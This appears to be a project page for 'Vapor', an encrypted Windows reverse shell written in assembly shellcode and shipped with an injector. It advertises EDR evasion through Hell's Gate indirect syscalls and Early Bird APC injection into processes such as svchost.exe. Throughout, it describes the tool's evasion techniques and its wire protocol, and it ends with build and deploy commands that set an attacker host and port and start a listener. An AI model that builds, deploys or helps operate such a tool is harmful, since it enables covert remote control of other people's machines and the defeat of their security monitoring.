vapor —— encrypted reverse shell

Vapor

ChaCha20-Poly1305 encrypted reverse shell in pure x86_64 assembly.
~3.6 KB shellcode. Hell's Gate injector. Zero imports. Full AEAD.

~3.6 KB
Shellcode Size
256-bit
PSK Encryption
RFC 8439
AEAD Standard
Indirect
Syscalls

Pure assembly. Fully encrypted.

Every byte handcrafted in NASM. No compiler, no runtime, no import table. ChaCha20-Poly1305 AEAD and Hell's Gate injection — all from scratch in position-independent shellcode.

ChaCha20-Poly1305

Full RFC 8439 AEAD in pure assembly. 256-bit PSK, fresh random nonce per message, Poly1305 MAC verification rejects tampered payloads.

~3.6 KB PIC Shellcode

API resolution, networking, crypto, command execution — all in ~3,600 bytes of position-independent code. No compiler, no runtime.

PEB Walk + Hash Lookup

APIs resolved at runtime via PEB walking and ror13 hash matching. GetProcAddress handles forwarded exports. No import table.

Piped Execution

Commands run via CreateProcessA with cmd.exe /c, stdout+stderr captured through anonymous pipes. PeekNamedPipe polling streams output in real-time with a 30-second timeout.

Dual Output

Builds as raw PIC shellcode (vapor.bin) for injection and minimal PE (vapor.exe) for direct execution. Same source, two formats.

Encrypted Listener

Python 3 listener with ChaCha20-Poly1305 encryption, interactive CLI, spinner for long-running commands, and Catppuccin Mocha themed output.

Hell's Gate + Indirect Syscalls

SSNs extracted at runtime from ntdll stubs with Halo's Gate fallback for hooked stubs. All NT syscalls jump to ntdll's own syscall gadget — return address traces to ntdll, not the injector.

Early Bird APC Injection

Target created suspended, shellcode written via NT syscalls (RW→RX), APC queued to main thread. Fires before process entry point — before EDR userland hooks initialize.

Wire protocol & data flow.

Every message is independently encrypted with a fresh 96-bit nonce. The Poly1305 MAC authenticates the ciphertext per RFC 8439 — any tampered byte is rejected before execution.

vapor —— wire protocol
vapor.exe
Target
raw TCP
encrypted cmd
encrypted out
listener.py
Operator

Wire Format (per message)
len 4B · LE u32
nonce 12B · random
ciphertext N bytes · ChaCha20
mac 16B · Poly1305

Hell's Gate process injection.

Deploy vapor.bin into a target process using direct NT syscalls. No high-level API calls for EDR to hook — SSNs extracted at runtime, syscalls routed through ntdll's own gadget.

injector.exe —— injection flow
1
PEB Walk
Find ntdll.dll + kernel32.dll via module hash
2
Hell's Gate
Extract SSNs from ntdll stubs (4C 8B D1 B8 pattern)
3
Find Gadget
Scan ntdll for syscall; ret (0F 05 C3)
4
Create Suspended
CreateProcessA with CREATE_SUSPENDED
5
Allocate RW
NtAllocateVirtualMemory in target
6
Write Shellcode
NtWriteVirtualMemory → vapor.bin
7
Protect RX
NtProtectVirtualMemory RW → RX
8
Queue + Resume
NtQueueApcThread + NtResumeThread

Hell's Gate SSN Extraction
Halo's Gate Fallback
Indirect Syscall Gadget
Early Bird APC Injection
RW → RX Memory Protection
Configurable Target Process

Every component from scratch.

What makes Vapor tick — every component implemented from scratch in assembly.

vapor —— component map
PEB Walking
ror13 Hash Resolution
GetProcAddress Fallback
WSASocketA + Connect
recv_exact / send_all
ChaCha20 Quarter-Round
ChaCha20 Block Cipher
ChaCha20 Stream XOR
Poly1305 MAC (mod 2¹³⁰⁻⁵)
AEAD Encrypt
AEAD Decrypt + Verify
SystemFunction036 Nonce
CreateProcessA Pipes
PeekNamedPipe Polling
Stack Guard Page Probing
Hell's Gate SSN Extract
Halo's Gate Fallback
Indirect Syscall Gadget
Early Bird APC Injection
RW → RX Protection
API Resolution Networking ChaCha20 AEAD Execution Injection

Build and deploy.

Provide an LHOST, LPORT, and a 256-bit pre-shared key. The build produces shellcode, PE, and injector outputs.

bash —— build & deploy
# Build with random key (shellcode + PE + injector)
$ ./build.sh 10.10.14.1 443
# Or use make directly
$ make LHOST=10.10.14.1 LPORT=443 KEY=<64-hex-chars> all
# Build injector with custom target process
$ make TARGET="C:\Windows\System32\svchost.exe" all
# Start listener
$ python3 listener.py --lport 443 --key <key>
# Outputs: vapor.bin + vapor.exe + injector.exe